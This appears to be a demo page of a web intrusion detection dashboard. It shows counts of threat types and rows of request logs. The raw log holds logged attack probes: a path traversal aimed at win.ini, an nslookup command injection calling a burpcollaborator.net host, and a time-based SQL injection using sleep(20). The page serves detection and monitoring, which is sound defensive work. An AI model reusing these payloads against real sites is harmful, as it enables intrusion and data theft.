idsthreat

Threat Count
Total Logs 4228982
Anomaly 454720
Normal 2808897
CSRF 1264
LDAP 103598
OSCommand 18558
PathTraversal 153166
SQL 629095
SSI 2
XPath 445
XSS 59237

Latest log

IP Address Country Timestamp Request Url Response Code Type
207.46.13.137 US 14/Feb/2021:07:02:44 GET /?destination=/user/42/contact%3Fpage%3D2&_exc 200 sql
104.171.157.39 US 14/Feb/2021:07:01:29 GET /thesis 200 anomaly
157.55.39.125 US 14/Feb/2021:06:35:55 GET /?_exception_statuscode=403&destination=/user/ 200 sql
167.172.58.14 GB 14/Feb/2021:06:23:27 GET / 400 anomaly
185.191.171.2 Unknown 14/Feb/2021:06:01:27 GET /?_exception_statuscode=403&destination=%2Fuse 200 sql
157.55.39.114 US 14/Feb/2021:05:28:19 GET /?_exception_statuscode=403&destination=/user/ 200 sql

Pages

Raw log

IP Address Country Timestamp Request Response Code Url
49.14.128.5 IN 21/Feb/2021:13:23:44 GET 404 /index.php/c%3a%5cwindows%5cwin.ini/tips
49.14.128.5 IN 21/Feb/2021:13:23:36 GET 404 /index.php/nslookup%20-q%3dcname%20k4p43r25g7n41axduofv0pzlrcx6lycm5ptgl3br0.burpcollaborator.net.%26
66.249.79.254 US 21/Feb/2021:13:22:21 GET 304 /sites/default/files/styles/thumbnail/public/Screenshot%20%2827%29_0.png?itok=QxvjaH-l
49.14.128.5 IN 21/Feb/2021:13:18:16 GET 200 /iitk-brochure-print.pdf?(select*from(select(sleep(20)))a)=1
49.14.128.5 IN 21/Feb/2021:13:18:08 GET 200 /sites/default/files/2020-01/DSC_1985-min.JPG

Pages

Demo